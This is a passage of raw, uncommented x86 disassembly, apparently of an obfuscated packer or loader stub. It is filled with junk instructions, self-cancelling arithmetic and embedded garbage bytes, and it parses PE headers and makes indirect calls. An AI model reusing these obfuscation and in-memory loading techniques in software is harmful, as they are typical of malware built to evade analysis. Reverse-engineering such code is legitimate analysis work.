eax push 65B082h pop eax add edi, eax pop eax jmp loc_406441 ; --------------------------------------------------------------------------- dd 0FCEFCEC9h db 85h ; --------------------------------------------------------------------------- loc_406441: ; CODE XREF: sub_406091+3A6j pop ebx add ebx, 0A7F7CB01h sub ebx, 0A7F7CB01h retn sub_406091 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0 or [esp], edi push 1C86B94h pop edi add edx, edi pop edi sub edx, 1C86B94h jmp short loc_406477 ; --------------------------------------------------------------------------- dd 7E390083h, 8AF52CDFh, 567118FBh db 0D7h, 0C4h, 0ADh ; --------------------------------------------------------------------------- loc_406477: ; CODE XREF: .text:00406466j jmp short loc_406488 ; --------------------------------------------------------------------------- db 0E2h, 73h, 30h dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h ; --------------------------------------------------------------------------- loc_406488: ; CODE XREF: .text:loc_4048B4j ; .text:loc_406477j pusha jmp short loc_40649A ; --------------------------------------------------------------------------- sbb eax, 19606392h fidivr word ptr [edi-24152A74h] js short loc_4064E9 mov dh, 0B7h loc_40649A: ; CODE XREF: .text:00406489j call sub_4048CA push 0 or [esp], esi push 0BB00AF42h pop esi sub edx, esi pop esi push ebx push 0BB00AF42h pop ebx add edx, ebx pop ebx mov ebx, 78255555h push eax push 9CA0E9AFh pop eax sub ebx, eax pop eax xchg edx, [esp-4] jmp loc_4064E0 ; --------------------------------------------------------------------------- db 9Ah, 0CBh, 0A8h dd 54A766C1h, 0C043F2FDh ; --------------------------------------------------------------------------- loc_4064E0: ; CODE XREF: .text:004064D0j mov edx, [esp-4] jmp short loc_4064F6 ; --------------------------------------------------------------------------- loc_4064E9: ; CODE XREF: .text:00406496j stc db 3Eh lahf in al, dx mov ch, 4Ah mov ebx, 971631D8h ; --------------------------------------------------------------------------- db 84h, 6Dh ; --------------------------------------------------------------------------- loc_4064F6: ; CODE XREF: .text:004064E7j sub esp, 4 push 9CA0E9AFh pop edx add ebx, edx pop edx push ebx xchg ecx, [esp-4] jmp loc_406512 ; --------------------------------------------------------------------------- db 0EEh db 8Fh, 1Ch ; --------------------------------------------------------------------------- loc_406512: ; CODE XREF: .text:0040650Aj mov ecx, [esp-4] jmp short loc_406526 ; --------------------------------------------------------------------------- db 25h dd 0A108ABFAh, 0DDB487C6h db 52h, 23h ; --------------------------------------------------------------------------- loc_406526: ; CODE XREF: .text:00406519j sub esp, 4 mov ecx, 4A3B8069h add ebx, ecx pop ecx push 0 or [esp], ecx mov ecx, 4A3B8069h sub ebx, ecx pop ecx push 3DE4A069h push 0 or [esp], ecx xchg ecx, [esp-4] jmp loc_40656E ; --------------------------------------------------------------------------- db 95h, 0AAh, 9Bh dd 77761138h, 13024DE4h, 6F4E4950h db 7Ch, 5 ; --------------------------------------------------------------------------- loc_40656E: ; CODE XREF: .text:00406558j mov ecx, [esp-4] jmp loc_406583 ; --------------------------------------------------------------------------- dw 8B5Ah dd 67268168h db 14h, 0BDh, 0B2h ; --------------------------------------------------------------------------- loc_406583: ; CODE XREF: .text:00406575j sub esp, 4 pop dword ptr [esp] push 0B799364Ch pop ecx sub edi, ecx pop ecx add edi, 0B799364Ch push 0 add [esp], edi push 4558805Fh pop edi sub eax, edi pop edi push ebx mov ebx, 4558805Fh add eax, ebx pop ebx jmp short loc_4065C9 ; --------------------------------------------------------------------------- dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h db 74h ; --------------------------------------------------------------------------- loc_4065C9: ; CODE XREF: .text:004065B2j push esi xchg ecx, [esp-4] jmp loc_4065E5 ; --------------------------------------------------------------------------- dw 0E0E3h dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h db 0Dh ; --------------------------------------------------------------------------- loc_4065E5: ; CODE XREF: .text:004065D1j mov ecx, [esp-4] jmp short loc_4065F1 ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- loc_4065F1: ; CODE XREF: .text:004065ECj sub esp, 4 push 0 add [esp], ebx not ecx jnb short loc_406619 movsx ecx, cx mov ecx, 80A5A0h mov ecx, edx clc movzx ebx, cl lea ebx, ds:80CD40h push edi pop ecx loc_406619: ; CODE XREF: .text:00406601j sbb ecx, 808D60h dec ecx or ecx, 8091E0h cld pop ebx pop ecx call near ptr sub_404933 push edx push 0 or [esp], edi inc edx lea edx, ds:808730h mov edi, edx xor edx, edi mov edx, 809F60h cmp eax, esp mov edi, ebp cmp cl, cl push edi pop edx rcl edx, 0F1h mov edx, ebp test cl, bl cld pop edi pop edx mov edx, eax push 0 add [esp], edx push 0D0DF521Ah pop edx sub ecx, edx pop edx add ecx, 0D0DF521Ah sub edx, 0CC94CDD4h push 0FFFFFFFFh and [esp], ecx mov ecx, 0CC94CDD4h add edx, ecx pop ecx mov eax, ebx push eax mov eax, edi pop eax lea esp, [esp] jmp loc_4066AB ; --------------------------------------------------------------------------- retf 583Bh ; --------------------------------------------------------------------------- db 0B1h, 96h, 17h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_4066AB: ; CODE XREF: .text:00406691j and ebx, 0FFFF0000h xchg esi, [esp-4] jmp short loc_4066BB ; --------------------------------------------------------------------------- pop ebp loc_4066BB: ; CODE XREF: .text:004066B8j mov esi, [esp-4] jmp loc_4066D8 ; --------------------------------------------------------------------------- db 0D2h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h ; --------------------------------------------------------------------------- loc_4066D8: ; CODE XREF: .text:004066C2j sub esp, 4 sub esp, 4 xchg edx, [esp] pop edx sub esp, 4 xor edx, edx lea esi, ds:8088D0h push edi pop esi push edx pop esi mov si, 491Eh cmp ebp, ebp push edi pop esi arpl dx, si add edx, 80A460h lea esi, ds:8097A0h mov esi, 811D90h cld pop edx pop esi call edx xchg ecx, [esp-4] jmp loc_406721 ; --------------------------------------------------------------------------- leave loc_406721: ; CODE XREF: .text:0040671Bj mov ecx, [esp-4] jmp short loc_40673D ; --------------------------------------------------------------------------- dw 0EFCEh dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h db 2Ch ; --------------------------------------------------------------------------- loc_40673D: ; CODE XREF: .text:00406728j sub esp, 4 sub esp, 4 mov [esp], eax push esp pop eax inc eax cld pop eax pop ecx cmp eax, ebx jz loc_4067CA push ebx mov ebx, eax pop ebx sub ecx, 18F0A8AAh sub ecx, 0E70F5756h sub esp, 1000h mov [esp-4], edi jmp short loc_40677F ; --------------------------------------------------------------------------- dw 0E2ADh ; --------------------------------------------------------------------------- jnb short loc_4067AA test eax, 655CCF2Eh loc_40677F: ; CODE XREF: .text:00406774j sub esp, 4 push 0 add [esp], ecx sbb edi, 808560h mov di, 4940h cmp esp, eax verw cx sbb ecx, 8089E0h mov edi, ebx cld pop ecx pop edi jmp esp ; --------------------------------------------------------------------------- dw 0EC83h ; --------------------------------------------------------------------------- add al, 87h loc_4067AA: ; CODE XREF: .text:00406778j add al, 24h mov eax, [esp] push 0C5190E48h pop eax sub edi, eax pop eax add edi, 0C5190E48h add ecx, 0C4B40263h sub ecx, 0C4B40263h loc_4067CA: ; CODE XREF: .text:00406751j call sub_406091 jmp short loc_4067D4 ; --------------------------------------------------------------------------- db 0D5h, 0EAh, 0DBh ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: .text:004067CFj push ecx mov ecx, edi pop ecx mov ebp, eax sub esp, 4 xchg edi, [esp] pop edi sub esp, 4 sub esp, 4 xchg ebx, [esp] mov ebx, [esp] mov edi, edx push ebp pop ebx jmp loc_40681E ; --------------------------------------------------------------------------- cld jmp loc_40681C ; --------------------------------------------------------------------------- and ebx, 808CA0h btr ebx, edi ror edi, 51h cmp bl, dl jz short loc_406815 xor edi, edx cld loc_406815: ; CODE XREF: .text:00406810j xor ebx, 8104E0h cld loc_40681C: ; CODE XREF: .text:004067FDj push ebx pop ebx loc_40681E: ; CODE XREF: .text:004067F7j xor edi, edx arpl di, bx mov ebx, 8095A0h mov ebx, esp bt edi, edi not ebx cld pop ebx pop edi mov edx, eax sub esp, 4 xchg edx, [esp] pop edx sub esp, 4 push esi mov dx, 49CEh ja short loc_406869 arpl si, dx jmp loc_406866 ; --------------------------------------------------------------------------- dw 0C6C1h dd 81D6F733h, 80D5E0EAh, 4EF18B00h, 0F263F133h, 0B70FF687h db 0F2h, 42h ; --------------------------------------------------------------------------- loc_406866: ; CODE XREF: .text:00406849j cmovb edx, esi loc_406869: ; CODE XREF: .text:00406845j movsx edx, si bts esi, edx push esi pop edx test al, dh mov edx, 80A9E0h mov esi, ecx cmp dl, bl cld pop esi pop edx mov ebx, eax push 0 add [esp], ebx push 0E5A08089h pop ebx sub edi, ebx pop ebx push 0FFFFFFFFh and [esp], eax push 0E5A08089h pop eax add edi, eax pop eax push edx sub esp, 4 xchg edx, [esp] pop edx sub esp, 4 pop dword ptr [esp] push 0F40AB7C1h pop edx add ecx, edx pop edx push 0FFFFFFFFh and [esp], edi push 0F40AB7C1h pop edi sub ecx, edi pop edi push 0 or [esp], ecx push 0F347A7F2h pop ecx sub esi, ecx pop ecx add esp, 0FFFFFFFCh mov [esp], eax mov eax, 0F347A7F2h add esi, eax pop eax push esi push 0F22BAB9Fh pop esi sub ecx, esi pop esi push 0FFFFFFFFh and [esp], ebx mov ebx, 0F22BAB9Fh add ecx, ebx pop ebx jmp loc_406915 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss xchg eax, edi test [ebp-5Eh], ch xor esi, eax loc_406915: ; CODE XREF: .text:00406907j sub ebx, 0D45CBA8Fh sub esp, 4 xchg ecx, [esp] mov ecx, [esp] push 0 xor [esp], ecx pop dword ptr [esp] push 0D45CBA8Fh pop ecx add ebx, ecx pop ecx add ebx, [ebx+3Ch] add esp, 0FFFFFFFCh mov [esp], esi push 552A4308h pop esi sub edx, esi pop esi add edx, 552A4308h sub esp, 4 mov [esp], edx push 0BB9ECFDDh pop edx add ecx, edx pop edx xchg eax, [esp-4] jmp loc_40697B ; --------------------------------------------------------------------------- dd 7F9ED920h db 4Ch, 95h, 0AAh ; --------------------------------------------------------------------------- loc_40697B: ; CODE XREF: .text:0040696Fj mov eax, [esp-4] jmp loc_406996 ; --------------------------------------------------------------------------- db 9Bh dd 77761138h, 13024DE4h, 6F4E4950h db 7Ch, 5 ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: .text:00406982j sub esp, 4 push 0BB9ECFDDh pop eax sub ecx, eax pop eax jmp loc_4069B2 ; --------------------------------------------------------------------------- db 5Ah dd 2681688Bh, 0B2BD1467h db 3, 80h ; --------------------------------------------------------------------------- loc_4069B2: ; CODE XREF: .text:004069A2j push 0 or [esp], edi push 3EC58F5Fh pop edi add eax, edi pop edi sub eax, 3EC58F5Fh add ebx, 0F8h sub esi, 0B9AFFCD6h add esp, 0FFFFFFFCh mov [esp], eax push 0B9AFFCD6h pop eax add esi, eax pop eax jmp short loc_4069E7 ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- loc_4069E7: ; CODE XREF: .text:004069E4j jmp loc_4069F7 ; --------------------------------------------------------------------------- mov al, 29h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh loc_4069F7: ; CODE XREF: .text:loc_4069E7j xor edi, edi jmp short loc_406A0C ; --------------------------------------------------------------------------- db 12h dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h ; --------------------------------------------------------------------------- loc_406A0C: ; CODE XREF: .text:004069F9j add eax, 0 loc_406A11: ; CODE XREF: .text:00406E20j push ebx xchg dx, dx add edx, 0FFFFFFFFh sub edx, 0FFFFFFFFh lea eax, [esp] jmp loc_406A2A ; --------------------------------------------------------------------------- db 41h dd 7DD427E6h db 72h, 0C3h ; --------------------------------------------------------------------------- loc_406A2A: ; CODE XREF: .text:00406A1Ej add esp, 0FFFFFFFCh mov [esp], eax push 0EE2D46BEh pop eax add ebx, eax pop eax sub ebx, 0EE2D46BEh push 0 xor [esp], ebx push 71D7E23Bh pop ebx add edi, ebx pop ebx push eax push eax pop dword ptr [esp] push 71D7E23Bh pop eax sub edi, eax pop eax push eax push edx mov edx, eax mov edx, edi mov edx, eax pop edx sub edx, 89F25DB3h add edx, 89F25DB3h cmp edi, 2 jz loc_406B99 sub esp, 4 xchg ebx, [esp] mov ebx, [esp] xchg edi, [esp-4] jmp short loc_406A99 ; --------------------------------------------------------------------------- dw 0F6Eh dd 2B7AA59Ch, 7462188h db 34h ; --------------------------------------------------------------------------- loc_406A99: ; CODE XREF: .text:00406A8Cj mov edi, [esp-4] jmp loc_406AB6 ; --------------------------------------------------------------------------- db 5Dh, 0D2h, 0A3h dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h db 64h, 0CDh ; --------------------------------------------------------------------------- loc_406AB6: ; CODE XREF: .text:00406AA0j sub esp, 4 xor edi, 819CA0h verw di xor edi, ebp mov bx, 4BC0h cld pop edi pop ebx push 40h xchg edi, [esp-4] jmp short loc_406AE3 ; --------------------------------------------------------------------------- dw 0C9D0h dd 85FCEFCEh, 1E80BDAh db 0A6h, 0E7h, 94h ; --------------------------------------------------------------------------- loc_406AE3: ; CODE XREF: .text:00406AD4j mov edi, [esp-4] jmp loc_406B00 ; --------------------------------------------------------------------------- db 3Dh dd 39008332h, 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h ; --------------------------------------------------------------------------- loc_406B00: ; CODE XREF: .text:00406AEAj sub esp, 4 mov [esp-4], ecx jmp short loc_406B1A ; --------------------------------------------------------------------------- db 0E2h dd 2EA93073h, 3A655CCFh ; --------------------------------------------------------------------------- jmp short loc_406B62 ; --------------------------------------------------------------------------- loc_406B1A: ; CODE XREF: .text:00406B0Dj sub esp, 4 mov [esp-4], ecx jmp loc_406B2C ; --------------------------------------------------------------------------- db 0E1h, 6, 0C7h ; --------------------------------------------------------------------------- loc_406B2C: ; CODE XREF: .text:00406B24j sub esp, 4 pop dword ptr [esp] jns short loc_406B45 arpl di, di cmp ah, bh inc edi mov ecx, ebx cmp ebx, eax verw di push esi pop ecx loc_406B45: ; CODE XREF: .text:00406B35j not edi imul edi, edi verw cx and edi, 80C4E0h movsx ecx, cx mov edi, esi mov edi, ecx xor ecx, ebx imul edi, ecx dec ecx cld pop ecx loc_406B62: ; CODE XREF: .text:00406B18j pop edi jmp loc_406C46 ; --------------------------------------------------------------------------- jmp loc_406B7C ; --------------------------------------------------------------------------- db 0F4h, 1Dh, 92h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh ; --------------------------------------------------------------------------- loc_406B7C: ; CODE XREF: .text:00406B68j sub ebx, 0D52D6F8Dh add ebx, 0D52D6F8Dh jmp short loc_406B99 ; --------------------------------------------------------------------------- dw 0BCAFh dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh ; --------------------------------------------------------------------------- stc loc_406B99: ; CODE XREF: .text:00406A76j ; .text:00406B88j push 4 mov [esp-4], ecx jmp short loc_406BAD ; --------------------------------------------------------------------------- dd 0D8BB4AB5h, 84971631h db 6Dh ; --------------------------------------------------------------------------- loc_406BAD: ; CODE XREF: .text:00406BA2j sub esp, 4 mov ecx, 0FCAF17ECh sub esi, ecx pop ecx add esp, 0FFFFFFFCh mov [esp], ecx mov ecx, 0FCAF17ECh add esi, ecx pop ecx sub esp, 4 xchg eax, [esp] pop eax sub esp, 4 push 8C60898Fh pop eax sub ebx, eax pop eax mov [esp-4], ecx jmp loc_406BF0 ; --------------------------------------------------------------------------- db 0FAh dd 0C6A108ABh ; --------------------------------------------------------------------------- loc_406BF0: ; CODE XREF: .text:00406BE6j sub esp, 4 push 8C60898Fh pop ecx add ebx, ecx pop ecx sub ecx, 3FAA96DDh push 0 xor [esp], eax push 3FAA96DDh pop eax add ecx, eax pop eax jmp short loc_406C1B ; --------------------------------------------------------------------------- and cl, bl sahf loc_406C1B: ; CODE XREF: .text:00406C16j sub ecx, 8B4EC495h push 0FFFFFFFFh and [esp], ebx push 8B4EC495h pop ebx add ecx, ebx pop ebx jmp loc_406C3E ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_406C3E: ; CODE XREF: .text:00406C32j jmp loc_406C46 ; --------------------------------------------------------------------------- adc edx, [eax+49h] loc_406C46: ; CODE XREF: .text:00406B63j ; .text:loc_406C3Ej push dword ptr [ebx+8] mov [esp-4], ebx jmp loc_406C58 ; --------------------------------------------------------------------------- db 7Ch, 5, 5Ah ; --------------------------------------------------------------------------- loc_406C58: ; CODE XREF: .text:00406C50j sub esp, 4 add esp, 0FFFFFFFCh mov [esp], edx arpl bx, dx nop cld pop edx pop ebx push dword ptr [ebx+0Ch] mov [esp-4], edx jmp loc_406C83 ; --------------------------------------------------------------------------- dd 14672681h db 0BDh, 0B2h, 3 ; --------------------------------------------------------------------------- loc_406C83: ; CODE XREF: .text:00406C77j sub esp, 4 sub esp, 4 xchg ecx, [esp] pop ecx sub esp, 4 test ecx, esp xor ecx, edi rep cmp al, 0F9h cld pop ecx pop edx add [esp], ebp push 0 or [esp], eax push edi movzx edi, al bsr eax, eax xchg eax, edi verw di xor edi, edi test al, bh shl edi, 23h dec eax loc_406CB9: ; CODE XREF: .text:00406D1Aj cld pop edi pop eax push 0A9DE6F5Ah jmp loc_406CC7 ; --------------------------------------------------------------------------- pop edi loc_406CC7: ; CODE XREF: .text:00406CC1j push esi push 0 xor [esp], eax mov eax, 0FFCAE50Ah sub edi, eax pop eax sub esp, 4 mov [esp], esi push 0FFCAE50Ah pop esi add edi, esi pop esi jmp loc_406CED ; --------------------------------------------------------------------------- icebp loc_406CED: ; CODE XREF: .text:00406CE7j push 0 or [esp], edx push 94E64944h pop edx sub ebx, edx pop edx push eax push 94E64944h pop eax add ebx, eax pop eax jmp loc_406D1E ; --------------------------------------------------------------------------- db 0F3h, 0B0h, 29h ; --------------------------------------------------------------------------- scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_406CB9 adc ah, bl loc_406D1E: ; CODE XREF: .text:00406D08j call near ptr sub_404933 push eax sub esp, 4 xchg ebx, [esp] mov ebx, [esp] push ebp pop ebx inc ebx jmp loc_406D5B ; --------------------------------------------------------------------------- js short loc_406D41 xor eax, esp cmp eax, 811C60h not ebx loc_406D41: ; CODE XREF: .text:00406D35j xor eax, 80A1E0h test al, dl mov eax, 809020h neg eax lea ebx, ds:809DA0h xchg ebx, ebx xor ebx, ecx inc eax loc_406D5B: ; CODE XREF: .text:00406D30j std cld pop ebx pop eax call eax xchg ecx, [esp-4] jmp loc_406D70 ; --------------------------------------------------------------------------- push ebp push 5Bh loc_406D70: ; CODE XREF: .text:00406D68j mov ecx, [esp-4] jmp short loc_406D82 ; --------------------------------------------------------------------------- db 0F8h, 0D1h, 36h dd 0C20DA437h ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl loc_406D82: ; CODE XREF: .text:00406D77j sub esp, 4 sub esp, 4 xchg eax, [esp] pop eax sub esp, 4 xor ecx, esi adc eax, 80C6A0h xor ecx, ebx jnb short loc_406DBC mov cx, 4BF8h rcl eax, 0A1h or ecx, 80C5E0h mov eax, 809CD0h lea eax, ds:80C960h movsx eax, cl cmp ecx, 80C820h loc_406DBC: ; CODE XREF: .text:00406D99j ror eax, 0FEh cmovs ecx, edi mov cx, 4E14h verw ax rep cld pop eax pop ecx add esp, 4 push ecx jmp short loc_406DD8 ; --------------------------------------------------------------------------- cmp al, 0C5h sbb cl, [ebx+28h] loc_406DD8: ; CODE XREF: .text:00406DD1j jmp loc_406DDE ; --------------------------------------------------------------------------- inc ecx loc_406DDE: ; CODE XREF: .text:loc_406DD8j pop ecx inc edi push 0 add [esp], esi mov esi, 15BED3D4h sub edx, esi pop esi sub esp, 4 xchg ecx, [esp] mov ecx, [esp] push 15BED3D4h pop ecx add edx, ecx pop ecx jmp loc_406E17 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h pop ss loc_406E17: ; CODE XREF: .text:00406E05j add ebx, 28h lea ebp, [ebp+0] cmp edi, 3 jnz loc_406A11 sub esp, 4 mov [esp], ecx push 0 add [esp], ebx ror ebx, 1Dh inc ecx xor ebx, esp movsx ebx, cx jnz short loc_406E59 arpl cx, cx inc ebx jbe short near ptr loc_406E50+1 mov ebx, ecx inc ebx mov ebx, edx mov ebx, 8093D0h not ecx loc_406E50: ; CODE XREF: .text:00406E42j repne bsf ecx, ecx movzx ebx, cx xor ebx, edx loc_406E59: ; CODE XREF: .text:00406E3Dj xchg ebx, ecx bsr ebx, ecx stc cld pop ebx pop ecx push ebx push ecx jmp loc_406E72 ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah ; --------------------------------------------------------------------------- sub ecx, [eax+34074621h] loc_406E72: ; CODE XREF: .text:00406E64j jmp loc_406E88 ; --------------------------------------------------------------------------- db 5Dh dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h ; --------------------------------------------------------------------------- loc_406E88: ; CODE XREF: .text:loc_406E72j jmp loc_406E8E ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_406E8E: ; CODE XREF: .text:loc_406E88j pop ecx lea eax, [esp] sub ecx, 256050C9h push 0FFFFFFFFh and [esp], eax push 256050C9h pop eax add ecx, eax pop eax push eax jmp short loc_406EAF ; --------------------------------------------------------------------------- db 0DAh, 0Bh, 0E8h ; --------------------------------------------------------------------------- loc_406EAF: ; CODE XREF: .text:00406EAAj push 4 sub esp, 4 xchg esi, [esp] pop esi sub esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [esp] sub esp, 4 xchg edx, [esp] mov edx, [esp] neg esi mov dx, 491Bh mov si, 49A9h rol esi, 0D6h xor esi, esi cld pop edx pop esi push 400h sub edi, 0C04CEB3Dh add esp, 0FFFFFFFCh mov [esp], ebx push 0C04CEB3Dh pop ebx add edi, ebx pop ebx jmp loc_406F08 ; --------------------------------------------------------------------------- align 2 dw 7E39h dd 8AF52CDFh ; --------------------------------------------------------------------------- loc_406F08: ; CODE XREF: .text:00406EFCj jmp loc_406F1A ; --------------------------------------------------------------------------- db 0FBh, 18h, 71h dd 0ADC4D756h, 0A93073E2h db 2Eh, 0CFh ; --------------------------------------------------------------------------- loc_406F1A: ; CODE XREF: .text:loc_406F08j push ebp xor edx, 0 push 0A9DE6F5Ah sub edx, 0AB05806h add edx, 0AB05806h sub ecx, 0A1B461DEh sub esp, 4 xchg ebx, [esp] mov ebx, [esp] push 0A1B461DEh pop ebx add ecx, ebx pop ebx sub esi, 0A7CA58DBh add esi, 0A7CA58DBh sub esp, 4 mov [esp], ebx mov ebx, 0DC9A5B24h sub edi, ebx pop ebx push 0 add [esp], ebx push 0DC9A5B24h pop ebx add edi, ebx pop ebx jmp short loc_406F85 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_406F85: ; CODE XREF: .text:00406F78j jmp short loc_406F88 ; --------------------------------------------------------------------------- push esp loc_406F88: ; CODE XREF: .text:loc_406F85j push 0FFFFFFFFh and [esp], eax push 33D4AC43h pop eax sub ecx, eax pop eax push 0FFFFFFFFh and [esp], ebx push 33D4AC43h pop ebx add ecx, ebx pop ebx push esi sub eax, 22B1E016h push edx push 22B1E016h pop edx add eax, edx pop edx jmp short loc_406FCE ; --------------------------------------------------------------------------- db 6Dh, 0A2h, 33h dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h ; --------------------------------------------------------------------------- mov ah, 0DDh loc_406FCE: ; CODE XREF: .text:00406FBBj jmp loc_406FE6 ; --------------------------------------------------------------------------- db 52h dd 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h db 13h, 50h ; --------------------------------------------------------------------------- loc_406FE6: ; CODE XREF: .text:loc_406FCEj add esp, 0FFFFFFFCh mov [esp], edx mov edx, 10F8B37Ch add ebx, edx pop edx push 0 add [esp], edx mov edx, 10F8B37Ch sub ebx, edx pop edx call near ptr sub_404933 xchg edx, [esp-4] jmp loc_407029 ; --------------------------------------------------------------------------- dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h ; --------------------------------------------------------------------------- icebp loc_407029: ; CODE XREF: .text:00407013j mov edx, [esp-4] jmp short loc_40703F ; --------------------------------------------------------------------------- dw 57D6h dd 0F3622D44h, 4FAE29B0h db 0DCh, 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_40703F: ; CODE XREF: .text:00407030j sub esp, 4 push 0 or [esp], ecx verw cx jmp loc_40706E ; --------------------------------------------------------------------------- xor edx, edx mov ecx, edi jz loc_407064 adc ecx, 80C6E0h push ebx pop edx loc_407064: ; CODE XREF: .text:00407056j neg edx cmp edi, esp lea edx, ds:808EE0h loc_40706E: ; CODE XREF: .text:0040704Dj inc ecx cmp cl, bl cld pop ecx pop edx call eax push 0FFFFFFFFh and [esp], eax push 0E7818E61h pop eax add edi, eax pop eax push 0FFFFFFFFh and [esp], eax push 0E7818E61h pop eax sub edi, eax pop eax jmp loc_4070A8 ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h dd 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- loc_4070A8: ; CODE XREF: .text:00407098j jmp short loc_4070BD ; --------------------------------------------------------------------------- pop ebx clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx loc_4070BD: ; CODE XREF: .text:loc_4070A8j add esp, 4 sub edx, 3ED9407Dh add edx, 3ED9407Dh mov eax, ebp jmp loc_4070E6 ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] loc_4070E6: ; CODE XREF: .text:004070CEj add eax, [eax+3Ch] push 0 xor [esp], eax sub esp, 4 xchg esi, [esp] pop esi sub esp, 4 xchg esi, esi dec eax cld pop esi pop eax push 241DCh push ecx push edi mov ecx, esi cmp dh, ah test ecx, ebp xor edi, esp xor ecx, edx btc ecx, edi verw cx xchg ecx, edi dec ecx cld pop edi pop ecx pop edi jmp short loc_407127 ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_407127: ; CODE XREF: .text:00407122j cmp edi, 10000001h jz loc_4071C2 xchg ecx, ecx mov [eax+78h], edi push edx push edi cmovno edi, esp push ebp pop edi mov edx, eax arpl dx, di cmp al, 0DDh mov edx, eax arpl dx, dx cld pop edi pop edx push 0A4h add edx, 0C481CAFFh sub edx, 0C481CAFFh pop dword ptr [eax+7Ch] push esi push 0 xor [esp], edi sub esp, 4 xchg edi, [esp] mov edi, [esp] pop dword ptr [esp] sub esp, 4 xchg edi, [esp] pop edi sub esp, 4 pop dword ptr [esp] bt edi, edi call near ptr sub_407191 ; --------------------------------------------------------------------------- db 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407191 proc far ; CODE XREF: .text:0040718Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00407839 SIZE 00000005 BYTES push ebp mov ebp, esp arpl di, di pop ebp pop edi cmovp edi, ebp mov di, 4909h ror edi, 5Fh xor esi, esp xor esi, 80C6E0h mov esi, 82A110h test cl, dl cmovnz edi, esp xchg edi, edi mov esi, 808680h xor esi, ebx not edi cld pop edi pop esi loc_4071C2: ; CODE XREF: .text:0040712Dj push 10000001h push ebx mov ebx, edx pop ebx pop edi push edx sub esp, 4 xchg eax, [esp-8+arg_0] mov eax, [esp-8+arg_0] sub esp, 4 mov [esp+0], eax pop dword ptr [esp+0] movzx edx, dl jnb loc_407204 xchg edx, edx mov edx, 80DF50h xchg eax, eax mov eax, 80E260h verw ax jbe loc_407202 neg edx dec edx loc_407202: ; CODE XREF: sub_407191+68j arpl ax, dx loc_407204: ; CODE XREF: sub_407191+51j push eax pop edx arpl dx, ax xor edx, ecx cld pop eax pop edx cmp edi, 10000001h jz loc_4072FE sub esp, 4 xchg ecx, [esp-0Ch+arg_4] mov ecx, [esp-0Ch+arg_4] push edi arpl di, di cld cld pop edi pop ecx mov [eax+88h], edi xchg bx, bx xor eax, 0 xchg si, si sub edx, 8DC53E0Bh add edx, 8DC53E0Bh sub ecx, 7797E65Ah sub ecx, 886819A6h lea ebp, [ebp+0] push 10000001h sub esp, 4 xchg ecx, [esp-8+arg_0] pop ecx sub esp, 4 push 59156383h pop ecx add eax, ecx pop ecx sub eax, 59156383h jmp loc_407285 ; --------------------------------------------------------------------------- dw 0DF7Eh dd 0FB8AF52Ch db 18h ; --------------------------------------------------------------------------- loc_407285: ; CODE XREF: sub_407191+E8j sub esp, 4 mov [esp-8+arg_0], ecx push 0A48660D7h pop ecx sub eax, ecx pop ecx add eax, 0A48660D7h pop dword ptr [eax+8Ch] jmp loc_4072B3 ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh ; --------------------------------------------------------------------------- jmp short loc_4072FA ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_4072B3: ; CODE XREF: sub_407191+112j push 0FFFFFFFFh and [esp-0Ch+arg_4], edx push 88A9931Dh pop edx sub edi, edx pop edx push 0 xor [esp-0Ch+arg_4], ecx push 88A9931Dh pop ecx add edi, ecx pop ecx sub esp, 4 xchg ebx, [esp-0Ch+arg_4] pop ebx sub esp, 4 push 73AFCCDEh pop ebx sub ecx, ebx pop ebx add ecx, 73AFCCDEh jmp short 